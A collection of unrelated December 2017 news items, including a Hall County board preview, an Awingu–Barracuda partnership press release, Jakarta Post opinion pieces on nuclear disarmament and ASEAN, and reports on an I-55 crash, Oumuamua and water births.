We feel like this is one of the better days of our lives, Rerucha said. It is such a day, and definitely a privilege to get to be a part of this to help support people and bring happiness to them.

Lisa Thayer, a member of the AOK Ladies, said she hopes those who received a gift of generosity Sunday pay it forward.

We just want them to spread acts of kindness to someone else, Thayer said. It can be as simple as a smile or opening a door. It really is an attitude. We just hope it is passing forward an attitude of kindness, happiness and thinking of others  especially at this time of year.
Hall County will see how much it will receive for its historic tax credits at a bid opening Tuesday morning.

A bid opening for bids on the historic tax credits is scheduled for 10 a.m. at the Hall County Board of Supervisors meeting. Hall County had solicited bids for $41,050 in historic tax credits from the renovation of the ornate plaster ceiling in Judge Teresa Luthers third-floor courtroom.

The request for sealed bids document, provided in the meeting agenda packet, explains how the historic tax credits work.

NHTCs (Nebraska Historic Credits) may be used to offset Nebraska income tax, Nebraska premium tax imposed on insurance companies, or Nebraska franchise tax imposed on financial institutions, the document says. Governmental entities including Hall County that have completed a NHTC project receive Type A credits that are equal to 20 percent of eligible expenditures and are 100 percent transferable.

Hall County Facilities Director Loren Doone Humphrey also explained how the historic tax credits work in a November interview with The Independent. He said that if a bank wanted to bid on Hall Countys historic tax credits, it would need to determine its rate of return.

As an example, Humphrey said a bank could offer Hall County $36,000 for the tax credits, which would generate that much in revenue for the county, while providing the bank with $41,030 in tax credits. He added the bank could claim it all in a single year or over a period of years.

Also Tuesday, the board will discuss and consider taking action on a revised contract with EcoWater Systems for a water cooler in the veterans services office. The proposed contract calls for Hall County to pay a monthly fee of $39.95, plus tax, to rent the water cooler for a period of 12 months. A one-time installation fee of $50 is also included in the contract.

The contract also notes the water cooler may be removed after three months at no cost to the county.

During the facilities committee update, the Hall County board will receive a summary report from Supervisor Doug Lanfear on the meeting with Department of Health and Human Services officials. DHHS previously raised concerns about the DHHS building at 116 S. Pine not being compliant with the Americans with Disabilities Act, and the need for the building to be brought into compliance.

Humphrey said last week that he intended to sit down with DHHS and come to a reasonable solution on how to address the compliance issues. DHHS Chief Operating Officer Bo Botelho said in his letter to the board that it has three options:

 Renovate the building.

 Provide DHHS with another ADA-compliant space.

 Reimburse DHHS for the cost of leasing an ADA-compliant space.

Lanfear said in a phone interview with The Independent Monday morning that he and Humphrey were planning to meet with DHHS officials to discuss the DHHS building issue and would provide a summary report to the full board Tuesday morning.

The Hall County Board of Supervisors meets at 9 a.m. at the Hall County Administration Building.
NEW YORK, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Awingu (www.awingu.com), the unified, browser-based workspace, today announced a technology relationship with Barracuda Networks, Inc. (www.barracuda.com) (NYSE:CUDA), a leading provider of cloud-enabled security and data protection solutions. The new synergy brings together Barracudas high performance security and zero-touch configuration with Awingus turnkey, browser-based workspace solution, facilitating the deployment of Awingu in hybrid cloud environments.



Barracuda NextGen Firewalls are purpose-built for securing cloud-connected networks. They protect users, applications, and data and ensure secure and reliable connections among multiple sites on premises and the cloud with consumption-based pricing, saving you money on infrastructure costs. Awingu brings the ease and convenience of platform agnostic mobility to deliver everything the enterprise needs in a workspace  legacy and cloud apps, documents, and data  to any device. This entails providing secure access to applications and files without the need to manage or expose vulnerable end-points. Applications and data can be hosted on Microsoft Azure or on-premise, and then securely connected to Awingus browser-based workspace.

We are thrilled to be working with Barracuda and to offer service providers a simpler solution to step up their value chain, states Walter Van Uytven, CEO of Awingu. For organizations, its a no brainer with no local data residing on the end-users device and little changes to the IT infrastructure. Our technology relationship offers the perfect synergy of security and simplicity for service providers and their customers.

The combination of Awingu and Barracudas Next Gen Firewall is a unique opportunity for businesses to smoothly move into the Microsoft Azure cloud, states Chris Dial, Director of Cloud ISVs, Microsoft.

Our firewalls are engineered to be tightly integrated into the public cloud providers management fabric. This all comes from having a deep understanding of the unique technical and commercial requirements that security and development teams need in order to migrate security controls into their applications in a way thats consistent with the cloud providers development best practices. When an organisation migrates its applications to the public cloud, traditional on-premises firewall functionality often doesnt translate well to public cloud environments. Our Cloud Generation Firewalls are designed to provide support for public cloud deployment best practices, support public cloud specific use cases and facilitate you with a commercial model designed for public cloud consumption. states Tim Jefferson, VP Public Cloud at Barracuda, This combination with Awingus simple platform agnostic workspaces, provides SMBs a secure and seamless way to migrate to the cloud.

"Synergics' Mobility365 offering combines Awingus unified workplace and Barracuda NextGen firewall in the Microsoft Azure Cloud. This leverages the full potential of a cost-efficient and full-service online workplace. It brings what businesses of today expect: transparent pricing, best-in-class TCO, full mobility, full flexibility and optimized security," states Jochen Maertens, Founder and CEO of Synergics. With Awingu, Barracuda and Microsoft Azure its easy to setup a hybrid cloud scenario for businesses that also want to move their legacy apps to the Cloud. They are filling a need for workspaces with zero touch implementations, high-performance security and multitenancy architecture.

For more information about the technology relationship between Awingu and Barracuda, please visit www.awingu.com/barracuda.

About Awingu

Awingu is a unified, browser-based workspace. It empowers users to work and collaborate from virtually anywhere using any HTML5 browser-capable device. As a turnkey, cloud-based solution, Awingu brings the ease and convenience of platform agnostic mobility to the enterprise, and delivers everything you need  legacy and cloud apps, documents, and data  to stay productive. It requires zero configuration and zero client software installation, making IT administration a breeze. Awingu is headquartered in Ghent, Belgium with offices in the US. Learn more at www.awingu.com.

About Barracuda Networks, Inc. (NYSE:CUDA)

Barracuda (NYSE:CUDA) simplifies IT with cloud-enabled solutions that empower customers to protect their networks, applications and data, regardless of where they reside. These powerful, easy-to-use and affordable solutions are trusted by more than 150,000 organizations worldwide and are delivered in appliance, virtual appliance, cloud and hybrid deployment configurations. Barracuda's customer-centric business model focuses on delivering high-value, subscription-based IT solutions that provide end-to-end network and data protection. For additional information, please visit barracuda.com.

Media Contact for Awingu

Kate Amery

PulpPR for Awingu

kate@pulppr.com

Media Contact for Barracuda

Darshna Kamani

Communications Director, EMEA

dkamani@barracuda.com
The Illinois State Police reported Tuesday that one of the individuals involved in a 10-vehicle accident Friday on Interstate 55 has died.

Pauline McKinney, a 62-year-old woman from Livingston, was pronounced dead at approximately 6:34 p.m. Monday at Saint Louis University Hospital.

McKinney had been airlifted from the scene by helicopter on Friday.

The state police also reported Tuesday that two other individuals were airlifted from the accident scene, I-55 near Illinois 143, and taken to St. Louis-area hospitals. Both were listed in serious condition as of Tuesday morning.

This crash remains under investigation by the Illinois State Police.

Initial reports from the state police indicate that a semi driver temporarily took his eyes off the road and then struck the vehicle in front of him.

MEANWHILE, the Telegraph reports police are investaging the recent crash that occured around 6:15 p.m. on Nov. 21 in the southbound lanes of I-55, at the 27.5 milepost. The area is south of Hamel in Madison County, about eight miles northeast of Edwardsville.

The driver of a Freight liner tractor trailer truck did not slow down for stopped traffic just before he struck the rear of a GMC van causing the death of four people, a court document states.

A witness told police he never saw the driver apply the brakes prior to the crash. The driver did not give a statement and he was taken to a nearby hospital to be treated for injuries.

Police have not recovered his cell phone, but the case is being investigated as a possible aggravated use of an electronic communication device. The information is contained in a search warrant Dec. 1, which became public Tuesday.

The return on the search warrant states investigators still have not located the cell phone, however, authorities are still seeking information from a module within the truck that would contain data on the traffic crash. The driver has not charged as of Tuesday afternoon.

The case is being investigated as reckless homicide, failure to reduce speed, and aggravated use of an electronic communication device.
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Linkedin Deandra Madeena Moerdaning (The Jakarta Post) London  Tue, December 19, 2017 14:42 1794 1f87594453bb792833e1ece3a2e28c51 3 Opinion Nuclear,nuclear-arsenal,nuclear-pact,#NuclearDisarmament,United-Nations,Indonesia,Indonesian-foreign-policy,foreign-policy Free

We still vividly remember the horror of August 1945, when the United States dropped the world's first atomic bombs on Hiroshima and Nagasaki. Decades later, multilateral efforts have attempted to contain the spread of nuclear weapons to achieve a nuclear-weapon-free world.

One of these efforts is the Treaty of Non-Proliferation of Nuclear Weapons (NPT) that entered into force in 1970. To date, a total of 190 states including five countries that possess nuclear weapons are state parties of NPT, making the treaty the largest in membership of any arms-control agreement.

NPT incorporates three pillars; 1) preventing the spread of nuclear weapons/non-proliferation, 2) total abolishment of nuclear arsenals/disarmament, and 3) peaceful civilian uses of nuclear energy. While non-proliferation has dominated the NPT agenda, recently marked by the success of the Joint Comprehensive Plan of Action, known as the Iran Deal, countries including Indonesia have continuously voiced concerns over the very slow pace of nuclear disarmament and hence question the commitments of nuclear weapons states.

Russia and the US are believed to have the largest arsenals, accounting for 90 percent of around 15,000 nuclear warheads in the world. Worse, other countries such as Israel, India, Pakistan and North Korea that also possess nuclear weapons remain outside the treaty.

To challenge NPT's status quo approach, in 2013 the United Nations General Assembly adopted a pioneering resolution submitted by the Non-Aligned Movement of which Indonesia is a member.

This resolution decided to boost disarmament by holding the first-ever UN high-level conference on disarmament next year and established Sept. 26 as the International Day for the Total Elimination of Nuclear Weapons. The UN talks would be the first of its kind to push for a new treaty that categorically prohibits nuclear weapons.

Indonesia should actively contribute to make the UN talks effective Indonesia is not only one of the strongest opponents of nuclear weapons, it has also actively encouraged all nations to counter modernization of nuclear warheads. Jakarta's contributions are visible through its participation in international organizations and commitment to multilateral agreements concerning nuclear proliferation and disarmament.

Earlier this year in March and June 15 to July 7, Indonesia served as one of the vice presidents on the Negotiations Conference of the Treaty on the Prohibition of Nuclear Weapons. On July 7 the UN introduced the first global treaty that bans all nuclear-weapon-related activities. In September Foreign Minister Retno LP Marsudi signed the agreement in New York.

So far, a total of 122 states have signed the treaty while three have ratified. The Nuclear Weapon Ban Treaty will enter into force 90 days after 50 states have ratified.

Although an overwhelming number of countries view this treaty as UN's accomplishment towards elimination of nuclear weapons, nuclear-armed states and their allies skipped the July meeting and are less likely to sign the treaty anytime soon.

This treaty will not bear fruit overnight. However, it could affect nuclear disarmament and the current non-proliferation regime. That is why it is of vital importance that Indonesia and like-minded countries make the best of the 2018 conference and together come up with a concrete diplomatic solution to pressure nuclear-armed nations and their allies to sign and ratify the treaty.

The UN talks on disarmament should showcase Jakarta's determination to eliminate the double standards in enforcing non-proliferation efforts  by questioning the future of Israel's opaque nuclear posture and raising the agenda of a Middle East nuclear weapon free zone.

At the regional level, Indonesia should be able to persuade Singapore, who chose to abstain from voting in July, to support the Nuclear Weapon Ban Treaty by affirming the shared value and principles of the Southeast Asian Nuclear Weapon Free Zone Treaty.

Under its free and active foreign policy doctrine, Indonesian should feel free to consistently criticize and pressure nuclear-armed states without being restrained by any special relationships with these countries. Moreover, Indonesia should take a proactive approach in providing a range of measures that can be taken by nuclear-armed states to support this treaty eventually.

Finally, as the coordinator of the Non-Aligned Movements working group on disarmament, it is Indonesia's responsibility to call for universal adherence to the Nuclear Weapon Ban Treaty. To this end, Indonesian delegates should provide concrete action plans for nuclear-armed states and influence them to contribute to a world without nuclear weapons.

***

The writer earned her masters degree from Kings College Londons War Studies Department. She recently presented her paper on an Indonesian perspective on proliferation at the 2017 International Student/Young Pugwash Conference in Astana, Kazakhstan. Her research interests include Indonesian leadership in nuclear non-proliferation and disarmament as well as Hezbollahs military strategy and tactics in the 1985-2000 wars against Israel.

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We are looking for information, opinions, and in-depth analysis from experts or scholars in a variety of fields. We choose articles based on facts or opinions about general news, as well as quality analysis and commentary about Indonesia or international events. Send your piece to academia@jakpost.com.

Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post.
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Linkedin Jusuf Wanandi (The Jakarta Post) Jakarta  Tue, December 19, 2017 08:16 1795 1f87594453bb792833e1ece3a2e1060e 3 Opinion #commentary,ASEAN,#ASEAN,Surin-pitsuwan,diplomat,international-relations,diplomacy Free

A number of prominent ASEAN figures including Khun Surin Pitsuwan, who formed a group known as the wise men, were planning to meet in Singapore on Dec. 1 to discuss the Rakhine issue. The Rakhine issue is not merely an isolated problem for the government and people of Myanmar, but an issue for ASEAN as a whole. However, on Nov. 30, we received the shocking news of the sudden passing of Khun Surin because of a heart attack. While the shock and disbelief caused by his departure took two weeks to come to terms with, many thoughts flashed through my mind about the man and what he had achieved for ASEAN.

To me, Khun Surin was a renaissance man, knowledgeable in many fields and crafts as a professor, active as a politician, diplomat and minister, while also serving as a senior international and regional bureaucrat. After serving as secretary-general of ASEAN in 2008-2013, he continued to deliver lectures and speeches at many regional and international fora across the globe to educate people about ASEAN and Southeast Asia, in his effort for the region and its people to be recognized all over the world.

Khun Surin always had the people in his mind and heart. He not only represented Thai people, nor only Thai Muslims residing in Southern Thailand to whom he belonged, but all Southeast Asians as his extended nation. That was why he was appointed the secretary-general of ASEAN.

He displayed this passion openly and vividly. He was a secretarygeneral who paid special attention to the people of ASEAN. He did this by almost immediately appointing scholars close to him, among them M. Rajaretnam from the Singapore Institute of International Affairs (SIIA) as his special advisor and Mely Caballero-Anthony from the Rajaratnam School of International Studies (RSIS) as director for external affairs.

Surin was also close to ASEAN think tanks, including the Centre for Strategic and International Studies (CSIS) Jakarta, which he had cooperated with since he was a scholar, and subsequently as a bureaucrat and politician when serving as the foreign minister of Thailand. He welcomed ASEAN human rights institutions to collaborate with the ASEAN Intergovernmental Commission on Human Rights (AICHR) and serve as the voice of the ASEAN people on human rights.

At the end of his tenure, Khun Surin submitted his proposals on reforming the ASEAN Secretariat to the Indonesian government, as Jakarta is the permanent home of the ASEAN Secretariat. He emphasized in the proposal that ASEAN should be people centered, not only in the ASEAN Charter but also implemented accordingly.

When Cyclone Nargis struck Myanmar in 2008, he endeavored for ASEAN to deliver humanitarian aid and serve as the interlocutor with the international community. It was the first time that the military government in Myanmar consented to open the country to international humanitarian aid. In this effort he closely collaborated with Hassan Wirajuda, the former foreign minister of Indonesia and George Yeoh, the former foreign minister of Singapore.

When the problems in Rakhine resurfaced this year, Surin traveled to Jakarta in early November to discuss the issue at CSIS with prominent Indonesians and the Foreign Ministry. He also traveled around the world seeking support and assistance for Myanmar. He thought that Myanmar, which had experienced hardship under the junta, should receive assistance from all members of ASEAN. Despite some difficulties, the ASEAN Coordinating Center for Humanitarian Assistance on Disaster Management (AHA Center) has been working in Myanmar since Cyclone Nargis wreaked havoc in the country and could be more empowered by ASEAN.

As ASEAN and its people have always been in Khun Surins heart and mind, they were the central theme of his speeches that he delivered at the Asia-Europe Policy Forum organized by CSIS in Jakarta in early June and in Manila in early August, at the ASEAN think tanks celebration of ASEANs 50th anniversary and at the ASEAN Media Forum on the same day also in Manila.

When Khun Surin passed away, ASEAN lost a peoples hero. He is irreplaceable in that stature.

Khun Surin was an inspirational figure and those among us who have been imbued with the same ideals and spirit should continue his good work that is so important for ASEAN in this transitional period, while the peoples participation and support is needed more than ever.

Let us remind ourselves of what Khun Surin has done for ASEAN and its people and continue to strive for an ASEAN-led region, for peace and development with peoples support and participation.

With pride, we would call Khun Surin an ASEAN peoples hero. We all remember Khun Surins family, especially his wife Alisa Pitsuwan, who was by his side in all his endeavors for ASEAN. Rest assured that with his good heart and great deeds he is now with Allah in eternal peace.

In all humility we will continue Khun Surins pursuit for a great ASEAN, for its people and its future.

Disclaimer: The opinions expressed in this article are those of the author and do not reflect the official stance of The Jakarta Post.
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Linkedin EDITORIAL (The Jakarta Post) Jakarta  Tue, December 19, 2017 08:05 1795 1f87594453bb792833e1ece3a2e0ebd8 4 Editorial #Editorial,office,Constitutional-Court,#ConstitutionalCourt,marriage,#marriage Free

Workers of the nation should unite  in solidarity with Yekti Kurniasih of Jambi who fell in love with Erik Ferdiyan, her colleague in state-owned electricity company PLN. Yekti was dismissed for marrying Erik in contravention of a regulation against employees having familial relations, even though he was based far away in Mamuju, South Sulawesi. They reportedly met each other a few years ago at a company training event.

Yekti and union leaders of PLN branches in Jambi, Palembang and Bengkulu, all in Sumatra, filed for a judicial review at the Constitutional Court (MK) to annul Article 153 of the 2003 Labor Law, which justifies such office rules. The union leaders said hundreds of employees had been dismissed on the basis of the PLN regulation, and some 50 more, who were currently in romantic relationships, could face a similar fate.

Article 153 appears to protect workers as it prohibits the dismissal of employees for a variety of reasons, including family relations with another person in the same company, but adds the exception that dismissal is permissible if it is regulated in a contract, company rule or collective labor agreement drawn up with the workers union.

Last week the Constitutional Court ruled unanimously in favor of the plaintiffs, saying that the article indeed contravened Indonesians constitutional right to decent work and to establish families based on citizens own free will, apart from violating the 1999 Human Rights Law.

We may now see more office lovebirds aspiring to tie the knot despite employers frowning on this, for as the court heard from the Indonesian Employers Association (Apindo), the Manpower Ministry and the House of Representatives, bans on inter-office marriages, which are common in the public and private sector, are aimed at preventing conflicts of interest, which could lead to nepotism within companies and in their business practices.

Such practices would tarnish employees professionalism, they said, citing the possibility of employees refusing to be posted to areas away from their spouses, whereas PLN, the management said, must deploy employees to various locations across the country for diverse tasks.

The court dismissed such fears and said that companies would have to draw up tighter rules to prevent corruption, collusion and nepotism.

While managements may grumble at the prospect of drafting more rigid restrictions to prevent conflicts of interest born of office romances, the ruling brings hope to many.

In the congested capital, for instance, singles would like to have more options in the search for the perfect match, but time is a luxury. Some have been lucky to find love online from social media exchanges or the increasing number of digital dating services, while others who have found their match in the office have had to decide on which partner should resign.

Many sweethearts face a wall of conservative families demanding that brides or bridegrooms share the same religion or ethnicity, or the same social and economic background. With the landmark ruling suggesting love conquers all, such couples have at least one hurdle removed.
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Linkedin Jessicha Valentina (The Jakarta Post) Jakarta  Tue, December 19, 2017 17:00 1794 1f87594453bb792833e1ece3a2e2fc15 1 Art & Culture Europalia,Europalia-Arts-Festival,#Europalia,film,#film,Garin-Nugroho,Teddy-Soeriaatmadja,Hilmar-Farid Free

The 2017 Europalia Arts Festival Indonesia is slated to run until Jan. 21, 2018 in Europe and features Indonesia as the Guest Country.

The final round will showcase 30 feature films, 12 documentaries and 10 short films that explore Indonesia on Jan. 9-23 at two venues: the Centre of Fine Arts (BOZAR) and Cinema Vendome in Brussels, Belgium.

Film curator Nan Achnas said during last week's Film Discussion Workshop that the Indonesian contemporary film festival program will highlight movies that were made after the Reform Movement that brought down former president Soeharto in 1998.

Nan explained that the movies were selected to present milestones of the post-Soeharto era. The period was important, as Indonesians had not seen any projected images of themselves on the big screen because of a hiatus that lasted a decade prior to the Reform era.

Read also: Indonesian contemporary works, sacred dances enrich Europalia

The Indonesian program will kick off on Jan. 9 with a film discussion led by Budi Irawanto, a professor of Gadjah Mada University, followed by the screening of Garin Nugrohos Requiem of Java (Java Opera).

On Jan. 10, Lovely Man from director Teddy Soeriaatmadja will be screened at the Cinema Vendome.

In addition to film screenings, the 2017 Europalia Arts Festival Indonesia has also invited Indonesian filmmakers Teddy Soeriaatmadja, Garin Nugroho, Lavesh Samtani, Mira Lesmana, Sardono, Ismail Basbeth and Nia Dinata to Brussels.

Director general of culture Hilmar Farid at the Culture and Education Ministry expressed his hope that the filmmakers would be able to share their experiences when they return from the festival.

Hilmar added that the film festival not only aimed to introduce Indonesian films, but also the development of Indonesian society as portrayed through film to promote a positive impression of the country. (kes)
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Linkedin News Desk (Agence France-Presse) Vatican City, Holy See  Tue, December 19, 2017 20:03 1794 1f87594453bb792833e1ece3a2e39111 2 Lifestyle Pope,Pope-Francis,Japan,consumerism Free

Pope Francis warned Japan on Monday over a culture of "excessive" competitiveness in schooling and the workplace as well as an obsession with consumerism.

"In order to succeed one can end up doing bad things, like trampling on others on the way up," he said in a video conference with students in Tokyo.

He said he saw "several problems" in Japanese society, such as "excessive competition, competitiveness, consumption, consumption, consumption, consumption and more consumption".

"It can harm you and take away your strength," he said, blaming an "excessive meritocracy" as well.

Read also: 'Put down those smartphones!' pope tells bishops

The Japanese education system is built around highly competitive and rigorous testing, with students put under intense pressure to succeed -- pressures that continue once they graduate and enter the workplace.

It also has a punishing work culture, with long working hours being blamed for hundreds of deaths due to strokes, heart attacks and suicides every year.

The Argentine pontiff told the students of Sophia University that Japan was nonetheless "a great country, which I admire... and of course I'd love to visit".

"The Japanese are a people I love very much," he said, adding that they were "a working people, with a great capacity for religion, a people that have suffered a lot".
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 19:00 1794 1f87594453bb792833e1ece3a2e36113 1 Food Slank,coffee,entrepreneurship,Slankopi Free

Rock band Slank has launched Slankopi, its signature coffee brand, to encourage entrepreneurship and empower its local fans.

As reported by kompas.com, Slank drummer Bimbim said the coffee line was part of the band's "slankerpreneur" empowerment program, which focuses on local products and inspires fans to become entrepreneurs.

Bimbim said that, to add variety to the Slankopi brand, the band aimed to highlight Indonesian coffee from across the country.

"We have plans to use coffee from Gayo and Wonosobo, because each region has its own signature coffee," he said.

Read also: Bali is safe: Rock star

The band also expressed hope that the product would create jobs, as new entrepreneurs could open coffee shops to sell it.

Furthermore, it said that coffee was a source of inspiration in writing music, with several of its songs containing lyrics that mention coffee.

"We've been close to coffee since our youth. Since the sixth album, there has been 'Kopi Air Hujan' (Rainwater Coffee), 'Minum Aja Kopi Gue' (Just Drink My Coffee). Every time we toured the regions, we always tried their signature coffee; coffee was always a part of our ride," Kaka, the band's vocalist, said. (liz/kes)

Topics : Slank coffee entrepreneurship Slankopi
Renewable Energy Company Aims to Build New Manufacturing Plant and Create Jobs in Florida



MANALAPAN, N.J, Dec. 19, 2017 (GLOBE NEWSWIRE) -- Street Smart Outdoor Corp, a wholly owned subsidiary of Manalapan based Sun Pacific Holding Corp. (OTCQB: SNPW), today announced its engagement of Suncoast Economic Agency (SEA) to help prepare a $30 million raise.

We have engaged Suncoast Economic Agency with respect to the anticipated I-924 exemplar application and regional center affiliation for our proposed project to be located in the state of Florida, said Nicholas Campanella, CEO of Sun Pacific Holding Corp. We aim to build a manufacturing plant with the goal of helping create jobs in the United States. Our focus is on the construction of an assembly facility for our bus shelters as well as the manufacturing and production of our LED and non-glass solar panels for use in our product development and worldwide sales.

In 1990, Congress created the EB-5 Program, or Immigrant Investor Program as it's officially known, "to stimulate the U.S. economy through job creation and capital investment by foreign investors," according to U.S. Citizenship and Immigration Services (USCIS). The USCIS estimates that, since 2012, at least $8.7 billion has been invested in the U.S. economy and 35,150 jobs created through the EB-5 program. Nearly $17 billion in EB-5 funds are ready for redeployment.

5 Biggest Projects In The U.S. Funded By EB-5 Investment





Hudson Yards: The Manhattan mixed-use project, which included skyscrapers, raised over $800 million in EB-5 funding from 1,200 Chinese families.



Pacific Park (Atlantic Yards): The Brooklyn mixed-use project, which included the Barclays Center and transit infrastructure, raised over $577 million in EB-5 funding.



Four Seasons Hotel: The Manhattan Hotel raised over $250 million in EB-5 funding.



Hunters Point Shipyard: San Francisco Mixed use space with housing units, a mall, and office spaces raised over 250 million in EB-5 funding



701 Seventh Ave.: The Manhattan mixed-use project, which included a hotel and retail space, raised over $200 million in EB-5 funding.

About Sun Pacific Holding Corp.

Sun Pacific Holding Corp. (SNPW) uses management's knowledge and experience to serve its customers and now its shareholders through quality service and equipment, working to keep customers satisfied, and by doing our part in protecting the environment with smart green technology. For more information, visit www.sunpacificholding.com.

Safe Harbor and Forward-Looking Statements

This news release contains statements that involve expectations, plans or intentions (such as those relating to future expansion or financial results) and other factors discussed from time to time in the Company's OTC Markets filings. These statements are forward-looking and are subject to risks and uncertainties, so actual results may vary materially. You can identify these forward-looking statements by words such as "may," "should," "expect," "anticipate," "believe," "estimate," "intend," "plan" and other similar expressions. Our actual results could differ materially from those anticipated in these forward-looking statements as a result of certain factors not within the control of the company. The company cautions readers not to place undue reliance on any such forward-looking statements, which speak only as of the date made. The company disclaims any obligation subsequently to revise any forward-looking statements to reflect events or circumstances after the date of such statements or to reflect the occurrence of anticipated or unanticipated events.
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Linkedin Mariette Le Roux (Agence France-Presse) Paris  Tue, December 19, 2017 14:02 1794 1f87594453bb792833e1ece3a2e277cf 2 Science & Tech astronomer,#astronomer,Oumuamua,asteroid,#asteroid Free

A cigar-shaped rock zooming through our Solar System -- the first object from a foreign star system ever spotted in our midst -- is cloaked in a coat of organic material, astronomers said Monday.

Dubbed Oumuamua, Hawaiian for "messenger" or "scout", the object was first viewed by telescopes in October. Given its weird trajectory, surprised scientists immediately concluded it was from beyond our own planetary system.

Astronomers had long assumed that interstellar objects -- from other star systems -- would be mainly small, comet-like, ice-rich bodies.

Yet Oumuamua did not eject a comet-like "tail" of molten dust and ice when it swung by the Sun in September, implying it had no surface ice and might in fact belong to the family of asteroids -- composed mainly of metals and rock.

On Monday, scientists said Oumuamua's true nature remained a mystery, and a cometary character could not be ruled out.

Spectroscopic readings revealed it sported a half-meter (1.6-foot) coat of organic-rich material which could have protected a water-ice interior from being vaporized by the Sun.

"An internal icy composition cannot... be ruled out," a team wrote in the journal Nature Astronomy.

Oumuamua is about 400 meters (1,300 feet) long, and thin -- only about 40 meters wide, a never-before-seen shape for such a body.

Astronomers do not yet know where the alien rock came from, and estimate it may have traveled through space for billions of years before reaching our Solar System at a breakneck speed of 95,000 kilometers (59,000 miles) per hour.

Viewed from the side, with the planets orbiting the Sun on a flat plane, Oumuamua entered at a near 90-degree angle from "above", slicing through the plane inside the orbit of Mercury -- the innermost planet, and making a hairpin exit turn after swinging past the Sun.

Last week, researchers listening for evidence of extraterrestrial technology said its telescope network had not detected any alien signals from Oumuamua.

Read also: Researchers spot interstellar visitor

We were right

Study co-author Alan Fitzsimmons of Queen's University Belfast told AFP that Oumuamua's coat was made of carbon-based compounds that formed from the original ice-rich and carbon-rich material that existed in its home star system.

The cloak was "created by reactions between the original surface and bombardment by energetic particles in interstellar space over millions or billions of years," Fitzsimmons said.

"It is difficult to know what it would resemble, but something between coal dust and graphite (pencil shavings) is possible," he said.

Carbon is one of the most common elements in the universe.

The finding is interesting because it suggests Oumuamua was similar to ice-rich objects ejected by our own Solar System over the course of its history, Fitzsimmons said.

"Its similarity to objects in our own Solar System implies that our general idea of the composition of planetary systems when they form may be correct."

Scientists say they believe an interstellar asteroid passes unnoticed through our inner Solar System about once a year.

Oumuamua was the first caught on telescope.
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Linkedin News Desk (The Jakarta Post) Jakarta  Tue, December 19, 2017 12:03 1794 1f87594453bb792833e1ece3a2e1c610 1 Parents water-birth,health,#health,parents,#parents,parenting,#parenting Free

Giving birth to a baby is a risky business for both mother and the child. Therefore before choosing a birth method, mothers should be fully aware of the risks they involve.

One of the currently popular birth methods is the water birth, where the mother gives birth in a tub filled with warm water. Such a method is said to have such benefits as easing the birth process and lessening its pain, as well as making the baby feel that they are still comfortably inside the womb when they are actually in the water.

According to Dr. Ali Sungkar, SpOG-KFM, water births have been carried out by at least 5,000 to 7,000 mothers worldwide. But, as it is an alternative birth method, it is not taught in schools of medicine.

As reported by kompas.com, water birth has its risks, including drowning of the baby. There is also the risk of infections transmitted through the water.

Read also: Five things you need to know about water birth

Ali said this infection risk could also happen during the lotus birth, a method where parents don't cut the baby's umbilical cord allowing it to naturally separate itself from the placenta.

"Who can guarantee there is no infection [?] If the mother defecates the water will [have] to be replaced. How much water is needed to replace it each time [this happens]? Then, how do you keep the temperature the same?" said Ali during an event in Jakarta on Thursday.

The Health Ministry's family health director Eni Gustina added that the ministry did not recommend water birth as a birth method.

Eni said the ministry had even instructed some parties who claimed water birth was safe to come to its office.

"One of the causes of death is infection. Who can guarantee the water is sterile [?] Even though it's warm, bacteria can still live there. We don't recommend it," said Eni. (kes)
The recent Constitutional Court ruling that allows millions of adherents of indigenous faiths to state their beliefs on their ID card has raised expectations of an end to state-sponsored discrimination. The Jakarta Post writers Margareth S. Aritonang and Corry Elyda review the landmark ruling and its pitfalls. Our correspondents Bambang Muryanto in Yogyakarta and Apriadi Gunawan in Medan take a closer look at local native faiths. by Margareth S. Aritonang, Corry Elyda, Bambang Muryanto & Apriadi Gunawan

A ritual conducted by a community of Sunda Wiwitan, a West Java indigenous faith that existed long before mainstream religions arrived, in the temperate town of Kuningan confounded a local civil registry official who acknowledged he had never heard of the faith before. What is it? Is it Hinduism or Buddhism? Opit murmured as he turned to a woman wearing a hijab sitting next to him. This is definitely not Islam those people dont look like Muslims either, he added as he observed the men in black and women in white kebaya. His eyes lingered on the conspicuous portrait of prince Madrais Sadewa Alibassa Kusumah Wijaya Ningrat, better known as Kyai Madrais, the priest and founder of the Akur Sunda Wiwitan Cigugur Kuningan, the largest community of Sunda Wititan. What began as a cordial conversation between Opit and his Muslim acquaintance escala...
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Linkedin Callistasia Anggun Wijaya (The Jakarta Post) Jakarta  Tue, December 19, 2017 08:00 1795 1f87594453bb792833e1ece3a2e0d0ec 1 City air-pollution,Asian-Games Free

Several environmental activists from the Clean Air Movement have urged the government to pay attention to air quality in Jakarta ahead of the 2018 Asian Games in Jakarta and Palembang, South Sumatra given the high level of air pollution in the country.

Committee for the Phasing Out of Leaded Fuel (KPBB) executive director Ahmad Safrudin said from 2011 to 2016 the air in the country had been exposed to pollutants such as particulate matter (PM10 and PM2.5), Sulfur Dioxide, Ozone, Carbon Monoxide, Nitrogen Oxide and Lead.

The toxic air had been caused by the use of motor vehicles, forest and land fires, power plants and smelters, construction and waste processes, as well as household activities, Ahmad said on Monday.

The health of international athletes competing in Indonesia in August 2018, could be threatened by the poor air quality in Jakarta and Palembang. They may fail to break records or get sick, he said in a statement.

Ahmad said last year 58.3 percent of Jakarta residents suffered sickness as a result of air pollution, leading to a total of Rp 51.2 trillion (US$3.8 billion) being spent on getting medical treatment.

Meanwhile, in an attempt to improve the air quality, the Jakarta administration has planned to set vehicle emissions tests as a requirement to renew vehicle registration certificates (STNK).

The Jakarta Environment Agency plans to procure seven sets of vehicle emissions test equipment next year to go ahead with the plan.

Indonesian Consumers Foundation (YLKI) researcher Sudaryatmo said the government should provide access for residents to monitor the air quality.

The regulations on ambient air and emissions standards should also be revised by considering the impact of pollution on peoples health. The standards of ambient air quality and emissions should be based on the latest health research, not on the interest of the industries, Sudaryatmo said.

Researcher from the Indonesian Center for Environmental Law (ICEL), Margaretha Quina, said the government should engage the public in revising Environmental Minister Regulation No. 21/2008 on ambient air quality standards and Government Regulation No. 41/1999 on air pollution control.
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Linkedin Ivany Atina Arbi (The Jakarta Post) Jakarta  Tue, December 19, 2017 19:34 1794 1f87594453bb792833e1ece3a2e38bc8 1 City Christmas,anies-baswedan,Monas Free

